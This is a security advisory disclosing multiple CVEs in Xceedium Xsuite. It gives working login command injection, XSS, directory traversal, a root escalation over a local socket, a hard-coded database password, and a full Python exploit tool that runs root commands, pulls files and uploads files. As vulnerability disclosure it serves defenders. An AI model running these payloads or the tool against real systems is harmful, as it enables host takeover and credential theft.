561 lines
No EOL
21 KiB
Text
561 lines
No EOL
21 KiB
Text
See also: http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
modzero Security Advisory:
|
|
Multiple Vulnerabilities in Xceedium Xsuite [MZ-15-02]
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
1. Timeline
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
* 2015-06-17: Vulnerabilities have been discovered
|
|
* 2015-06-19: Vendor notified via support@xceedium.com
|
|
* 2015-06-19: CVE IDs assigned
|
|
* 2015-06-26: Public reminder sent via Twitter
|
|
* 2015-06-26: Findings updated
|
|
* 2015-07-22: Release after Xceedium did not respond within
|
|
more than 15 business days
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
2. Summary
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
Vendor: Xceedium, Inc.
|
|
|
|
Products known to be affected:
|
|
|
|
* Xsuite 2.3.0
|
|
* Xsuite 2.4.3.0
|
|
* Other products and versions may be affected as well.
|
|
|
|
Severity: Overall High
|
|
Remote exploitable: remote and local
|
|
|
|
The Xsuite system controls and audits privileged user access to
|
|
computers in a network environment. Several vulnerabilities were
|
|
identified in the solution. The vulnerabilities allow unauthenticated
|
|
users to fully compromise an Xsuite host over the network.
|
|
|
|
The issues described below are only examples for vulnerability
|
|
classes. The solution is systematically affected by similar issues.
|
|
|
|
CVE-2015-4664 to CVE-2015-4669 was assigned to these vulnerabilities
|
|
and vulnerability classes.
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
3. Details
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
3.1 Command injection via the login form (Severity: High,
|
|
CVE-2015-4664)
|
|
|
|
The login form is affected by a code injection vulnerability via
|
|
the "id" POST parameter, which allows an unauthenticated attacker
|
|
to inject Linux commands. These commands are executed with the
|
|
privileges of the Linux user "www-data". The injected command's
|
|
output is then sent back to the attacker.
|
|
|
|
An example HTTP request and response is shown below.
|
|
|
|
HTTP request:
|
|
|
|
POST /login.php HTTP/1.1
|
|
Host: XXX.XXX.XXX.XXX
|
|
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://XXX.XXX.XXX.XXX/
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 80
|
|
|
|
id=admin'|cat /etc/passwd||a%20%23|&pass=admin&authTypeOption=use_local&loginID=
|
|
|
|
|
|
|
|
HTTP response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Wed, 17 Jun 2015 10:47:47 GMT
|
|
Server: Apache
|
|
X-Frame-Options: SAMEORIGIN
|
|
Set-Cookie: PHPSESSID=6d5b0fbf8349caf10493f65e8f0b131b; path=/; secure; HttpOnly
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
Pragma: no-cache
|
|
Set-Cookie: PROXY_AUTH_FAILURE=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
|
|
Strict-Transport-Security: max-age=365246060
|
|
Content-Length: 2096
|
|
Keep-Alive: timeout=150, max=300
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
[...]
|
|
|
|
|
|
3.2 Cross-Site Scripting Vulnerability (Severity: Medium,
|
|
CVE-2015-4665)
|
|
|
|
The following example shows a reflected cross-site scripting
|
|
vulnerability that injects JavaScript code into a user's session.
|
|
Here, the HTTP response contains a message, which seems to be JSON.
|
|
However, the content type is "text/html". Thus, a web browser treats
|
|
the server response as HTML code (fragment).
|
|
|
|
HTTP request:
|
|
|
|
GET /ajax_cmd.php?cmd=COMPLETGRAPHYRECORDING&fileName=<img%20src%3da%20onload%3dalert(1)> HTTP/1.1
|
|
Host: XXX.XXX.XXX.XXX
|
|
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: PHPSESSID=c4f6547d9d889336a7f4a9a953cc3815
|
|
Connection: keep-alive
|
|
|
|
|
|
HTTP response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Thu, 18 Jun 2015 11:10:07 GMT
|
|
Server: Apache
|
|
X-Frame-Options: SAMEORIGIN
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
Pragma: no-cache
|
|
Strict-Transport-Security: max-age=365246060
|
|
Content-Length: 70
|
|
Keep-Alive: timeout=150, max=300
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
["Unable to find decryption key for file <img src=a onload=alert(1)>"]
|
|
|
|
|
|
3.3 Directory traversal and File Download Vulnerability (Severity:
|
|
Medium/High, CVE-2015-4666)
|
|
|
|
Due to insufficient input validation the "read_sessionlog.php" script
|
|
is affected by a directory traversal vulnerability, which allows
|
|
unauthenticated users to obtain any files that the user "www-data" is
|
|
allowed to access. The script tries to cut the "../" pattern for
|
|
relative directory addressing, but fails to sanitize specially
|
|
crafted input. Hence, it is still possible to download files from the
|
|
host by accessing the script as shown below:
|
|
|
|
https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd
|
|
|
|
The following code is part of the source code file
|
|
/var/www/htdocs/uag/web/opm/read_sessionlog.php
|
|
|
|
[...]
|
|
$file_path= $_REQUEST["logFile"];
|
|
[...]
|
|
|
|
if (strpos($file_path, '/opt/rpath') !== 0) { $file_path = '/opt/rpath/' .$file_path; }
|
|
|
|
if($startByte < 1)
|
|
$startByte=0;
|
|
|
|
if (isset($file_path)) {
|
|
// make sure users cannot hack via ../../
|
|
$file_path = preg_replace("/\.\.\//", "", $file_path);
|
|
$file_path = stripslashes($file_path);
|
|
// if the file does not exist, display it
|
|
if (!is_file($file_path)) {
|
|
echo 'File (' .$_REQUEST["logFile"]. ') does not exist.';
|
|
exit(0);
|
|
}
|
|
}
|
|
|
|
output_file($file_path, 'VT100LogA.txt', '', $startByte, $searchChar, $searchDir, $totalByte);
|
|
[...]
|
|
|
|
|
|
3.4 Privilege escalation via "/sbin/spadmind" (Severity: High,
|
|
CVE-2015-4664)
|
|
|
|
The "spadmind" service allows local users to escalate their
|
|
privileges to become "root". In combination with the command
|
|
injection vulnerability from section 3.1, it is possible to run
|
|
arbitrary commands as "root" user via the network.
|
|
|
|
The web interface runs under the privileges of the web server user.
|
|
To execute privileged commands, the web interface sends text-based
|
|
messages via a socket to the "spadmind" process. The "spadmind"
|
|
process has a listening socket bound to localhost:2210 and reads in
|
|
text lines, which are partially used as parameter for system command
|
|
execution. Since the "spadmind" process does not validate the input,
|
|
an attacker is able to inject commands that are executed with
|
|
super-user privileges.
|
|
|
|
File: /sbin/spadmind
|
|
|
|
[...]
|
|
# socket
|
|
my $clsock = shift;
|
|
# command and number of lines to process
|
|
my $command = <$clsock>;
|
|
my $numlines = <$clsock>;
|
|
|
|
chomp($command);
|
|
chomp($numlines);
|
|
[...]
|
|
} elsif ($command eq 'expect') {
|
|
chomp($line = <$clsock>);
|
|
my $res = `expect $line`;
|
|
if ($res =~ /(STATUS=\w+)/) {
|
|
$resp = $1;
|
|
} else {
|
|
$resp = 'unknown';
|
|
}
|
|
[...]
|
|
|
|
In the quoted code above, running the command "expect" and allowing
|
|
users to specify parameters is a vulnerability, because parameters
|
|
could be passed via option "-c" to invoke shell commands.
|
|
|
|
$ echo -e "expect\n1\n-c garbage;id > /tmp/x23" | ncat --send-only 127.0.0.1 2210; sleep 1; cat
|
|
/tmp/x23
|
|
uid=0(root) gid=0(root)
|
|
|
|
$ echo -e "timezone\n1\n;id > /tmp/x42" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x42
|
|
uid=0(root) gid=0(root)
|
|
|
|
|
|
3.5 Hard-coded database credentials (Severity: Low, CVE-2015-4667)
|
|
|
|
The software uses hard-coded credentials at several places, which
|
|
makes it unfeasible to change database credentials regularly.
|
|
|
|
$ grep -R n1b2dy .
|
|
./uag/db/init/install-xio-uag-data.sql:SET PASSWORD FOR 'uaguser'@'localhost'=PASSWORD('n1b2dy');
|
|
./uag/db/init/upgrade401SP2to402.pl:use constant LW_DBPASS => "n1b2dy";
|
|
./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser", "n1b2dy");
|
|
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/web/ajax_cmd.php: $link = mysql_connect("localhost", "uaguser" ,"n1b2dy");
|
|
./www/htdocs/uag/cgi/external_log_sync.php: $db_link_local = new mysqli("localhost", "uaguser",
|
|
"n1b2dy", "uag");
|
|
./www/htdocs/uag/config/db.php:$dbchoices = array("mysql", "uaguser", "n1b2dy");
|
|
./www/htdocs/uag/services/main/common/Configuration.php: const K_DB_PASS_DEFAULT = 'n1b2dy';
|
|
./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/functions/db.php: $dbchoices = array("mysql", "uaguser",
|
|
"n1b2dy");
|
|
./www/htdocs/uag/functions/remove_disabled_cron.pl: 'n1b2dy',
|
|
|
|
$ grep -R n1b2dy sbin
|
|
sbin/logwatch:use constant LW_DBPASS => "n1b2dy";
|
|
sbin/interrogate-vmware.pl: use constant DB_PASSWORD => 'n1b2dy';
|
|
Binary file sbin/xcd_sshproxy matches
|
|
Binary file sbin/xcd_upd matches
|
|
Binary file sbin/vlmon matches
|
|
Binary file sbin/sessd matches
|
|
Binary file sbin/gksfdm matches
|
|
Binary file sbin/xcdmsubagent matches
|
|
sbin/logload:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or die("Can not connect to
|
|
the database\n");
|
|
sbin/make-auth-token.pl: my $passwd = 'n1b2dy';
|
|
sbin/rotate_coredumps.pl: my $passwd = 'n1b2dy';
|
|
Binary file sbin/loadcrl matches
|
|
sbin/ad_upd: $dbh = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
|
|
sbin/ad_upd: my $db = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
|
|
sbin/ad_upd: $dbh = DBI->connect_cached( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 }
|
|
)
|
|
sbin/rfscheck:use constant LW_DBPASS => "n1b2dy";
|
|
sbin/auth.pl: 'n1b2dy',
|
|
sbin/apwd: my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or return;
|
|
sbin/update_crld:my($dbpass)="n1b2dy";
|
|
sbin/update_crld: 'n1b2dy',
|
|
|
|
|
|
3.6. No password for MySQL "root" user (Severity: High,
|
|
CVE-2015-4669)
|
|
|
|
Local users can access databases on the system without further
|
|
restrictions, because the MySQL "root" user has no password set.
|
|
|
|
$ python XceediumXsuitePoC.py --host XXX.XXX.XXX.XXX --cmd 'echo "update user set active = 0,
|
|
passwd=sha1(\"myknownpw\") where u_name = \"mytargetuser\";"| mysql -u root uag'
|
|
|
|
|
|
3.7 Open redirect (Severity: Low, CVE-2015-4668)
|
|
|
|
An attacker may craft a link to an Xsuite host that looks valid, but
|
|
tricks the user and abuses an open redirect vulnerability in Xsuite
|
|
to redirect a user to a third party web site, for example a web site
|
|
with malware.
|
|
|
|
https://XXX.XXX.XXX.XXX/openwin.php?redirurl=%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%6f%64%7a%65%72%6f%2e%63%68
|
|
|
|
File: /var/www/htdocs/uag/web/openwin.php
|
|
|
|
<?
|
|
$redirurl = $_GET['redirurl'];
|
|
|
|
header('Location: ' .$redirurl);
|
|
|
|
?>
|
|
|
|
|
|
3.8 Possible issues not further investigated
|
|
|
|
Passwords stored in the database are unsalted hashes, which reduces
|
|
the attack complexity if an attacker has access to the database. The
|
|
setup under invesatigation partially used MD5 and SHA1 hashes.
|
|
|
|
The web interface and scripts create SQL statements by concatenating
|
|
strings and user-supplied input without proper input validation. This
|
|
may result in SQL injections.
|
|
|
|
$ grep -i -R where . | grep -E '\$_(POST|GET)'
|
|
./web/filter/filter_sfa.php: $query = "delete from socket_filter_mon where
|
|
sfm_id='".$_GET['sfm_id']."'";
|
|
./web/filter/filter_command_list.php: $query = "select * from cmd_list where
|
|
id='".$_POST["s_list"]."'";
|
|
./web/filter/filter_command_list.php: $query = "delete from cmd_list where
|
|
id='".$_POST["s_list"]."'";
|
|
./web/filter/filter_command_list.php: $query = "delete from cmd_keywords where
|
|
list_id='".$_POST["s_list"]."'";
|
|
./web/filter/filter_command_list.php: "where command_filter =
|
|
'".$_POST["s_list"]."'";
|
|
./web/filter/filter_command_list.php: $query = "select * from cmd_list where
|
|
list_type='".$_POST['r_ltype']."' order by listname";
|
|
./web/filter/filter_command_list.php: where id='".$_POST['id']."'";
|
|
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
|
'".$_POST['number_warnings']."' where name = 'number_of_warnings'";
|
|
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
|
'".$_POST['blacklist_action']."' where name = 'intervention_action'";
|
|
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
|
'".$_POST['blacklist_intervention_message']."' where name = 'blacklist_intervention_message'";
|
|
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
|
'".$_POST['whitelist_intervention_message']."' where name = 'whitelist_intervention_message'";
|
|
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
|
'".$_POST['alert_email_message']."' where name = 'alert_email_message'";
|
|
./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" .
|
|
$_GET['h_id']);
|
|
./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" .
|
|
$_GET['h_id']);
|
|
./web/socketFilterCmd.php: $query = "delete from rdp_lock where id='".$_GET['rdp_id']."'";
|
|
./web/socketFilterCmd.php: $query = "select hostID from host where h_id =
|
|
'".db_esc($_GET["device_name"])."'";
|
|
./web/socketFilterCmd.php: where sess_id='".$_GET['PHPSESSID']."' and
|
|
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid.
|
|
'" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
|
|
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
|
|
.$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
|
|
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
|
|
.$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
|
|
./web/ajax_cmd.php: $query = "select * from session where sess_id='".$_GET['param']."'";
|
|
./web/ajax_cmd.php: WHERE hostID = '".$_GET['hostID']."'";
|
|
./web/ajax_cmd.php: $query = 'SELECT u.userID FROM session AS s, user AS u WHERE s.u_name =
|
|
u.u_name AND s.sess_id = "' .db_esc($_GET['sess_id']). '"';
|
|
./web/dev/dev_ajax.php: $update_query = "UPDATE kta_settings set value = '".$_GET[$name]."' where
|
|
name = '".$name."'";
|
|
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
|
|
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
|
|
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
|
|
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
|
|
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
|
|
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
|
|
./features/dev_sfa.php: $query = "delete from socket_filter_mon where
|
|
sfm_id='".$_GET['sfm_id']."'";
|
|
./hconfig/functions/smartb.php: $query = "delete from smartb_cfg_files where fileName =
|
|
'".$_POST["filename"]."'";
|
|
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
4. Impact
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
The identified vulnerabilities allows any user to execute arbitrary
|
|
commands as system super-user ("root"). Since the system is used to
|
|
control other devices (for example, via RDP and SSH), an attacker
|
|
would add malicous modification to the Java-based clients for RDP and
|
|
SSH to exfiltrate access credentials for computers and to abuse these
|
|
credentials in further steps.
|
|
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
5. Proof of concept exploit
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
#!/usr/bin/python
|
|
#
|
|
# Proof of Concept Tool to Exploit Vulnerabilities in
|
|
# Xceedium Xsuite
|
|
#
|
|
# Author: modzero AG, Switzerland
|
|
#
|
|
|
|
import httplib2, urllib
|
|
import re
|
|
import base64
|
|
from optparse import OptionParser
|
|
|
|
url = ''
|
|
|
|
def get_command_output(cmd):
|
|
marker = '~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!'
|
|
values = {
|
|
'id' : "admin'| echo " + marker +"; " + cmd + " ; echo -n " + marker + "||X #",
|
|
'pass' : 'foo',
|
|
'authTypeOption' : 'use_local',
|
|
'loginID' : '',
|
|
}
|
|
headers = {
|
|
'Content-Type': 'application/x-www-form-urlencoded',
|
|
}
|
|
values = urllib.urlencode(values)
|
|
h = httplib2.Http(disable_ssl_certificate_validation=True)
|
|
resp, content = h.request(url, "POST", values, headers = headers)
|
|
offset1 = content.find(marker) + len(marker)
|
|
offset2 = content.rfind(marker, offset1 + 1)
|
|
try:
|
|
return base64.standard_b64decode(content[offset1:offset2])
|
|
except:
|
|
return content[offset1:offset2]
|
|
|
|
|
|
def get_dir(retrieve_dir):
|
|
fname = re.sub(r'\/', '_', retrieve_dir) + ".tgz"
|
|
text_file = open(fname, "w")
|
|
text_file.write(get_command_output("tar -czf - " + retrieve_dir + " | base64"))
|
|
text_file.close()
|
|
|
|
def get_file(retrieve_file):
|
|
fname = re.sub(r'\/', '_', retrieve_file)
|
|
data = get_command_output("cat " + retrieve_file + " | base64")
|
|
print data
|
|
text_file = open(fname, "w")
|
|
text_file.write(data)
|
|
text_file.close()
|
|
|
|
def exec_cmd(cmd):
|
|
data = get_command_output(cmd + " | base64")
|
|
print data
|
|
|
|
def exec_root(cmd):
|
|
data = get_command_output('echo -e "timezone\n1\n;' + cmd + ' > /tmp/.x" | ncat --send-only
|
|
127.0.0.1 2210; sleep 1; cat /tmp/.x | base64')
|
|
print data
|
|
|
|
def upload_file(fname, dst_file):
|
|
with open(fname, 'r') as content_file:
|
|
b64_content = base64.standard_b64encode(content_file.read())
|
|
get_command_output("echo " + b64_content + " | base64 -d > " + dst_file)
|
|
|
|
def main():
|
|
global url
|
|
parser = OptionParser()
|
|
parser.add_option("--host", dest="host", help="The host to attack")
|
|
parser.add_option("--dir", dest="dir", help="The directory to retrieve")
|
|
parser.add_option("--file", dest="file", help="The file to retrieve")
|
|
parser.add_option("--cmd", dest="cmd", help="The command to execute")
|
|
parser.add_option("--root", dest="root", help="The command to execute with root privileges")
|
|
parser.add_option("--upload", dest="upload", help="A local file to upload")
|
|
parser.add_option("--dst", dest="dst_file", help="The destination file for uploaded content")
|
|
|
|
(options, args) = parser.parse_args()
|
|
|
|
if options.host:
|
|
url = 'https://%s/login.php' % (options.host)
|
|
|
|
if options.dir:
|
|
get_dir(options.dir)
|
|
elif options.file:
|
|
get_file(options.file)
|
|
elif options.cmd:
|
|
exec_cmd(options.cmd)
|
|
elif options.root:
|
|
exec_root(options.root)
|
|
elif options.upload:
|
|
upload_file(options.upload, options.dst_file)
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
6. Workaround
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
A workaround is not known.
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
7. Fix
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
It is not known to modzero, if a security fix is available.
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
8. Credits
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
* Martin Schobert (martin@modzero.ch)
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
9. About modzero
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
The independent Swiss company modzero AG assists clients with
|
|
security analysis in the complex areas of computer technology. The
|
|
focus lies on highly detailed technical analysis of concepts,
|
|
software and hardware components as well as the development of
|
|
individual solutions. Colleagues at modzero AG work exclusively in
|
|
practical, highly technical computer-security areas and can draw on
|
|
decades of experience in various platforms, system concepts, and
|
|
designs.
|
|
|
|
https://www.modzero.ch
|
|
|
|
contact@modzero.ch
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
10. Disclaimer
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
The information in the advisory is believed to be accurate at the
|
|
time of publishing based on currently available information. Use of
|
|
the information constitutes acceptance for use in an AS IS condition.
|
|
There are no warranties with regard to this information. Neither the
|
|
author nor the publisher accepts any liability for any direct,
|
|
indirect, or consequential loss or damage arising from use of, or
|
|
reliance on, this information. |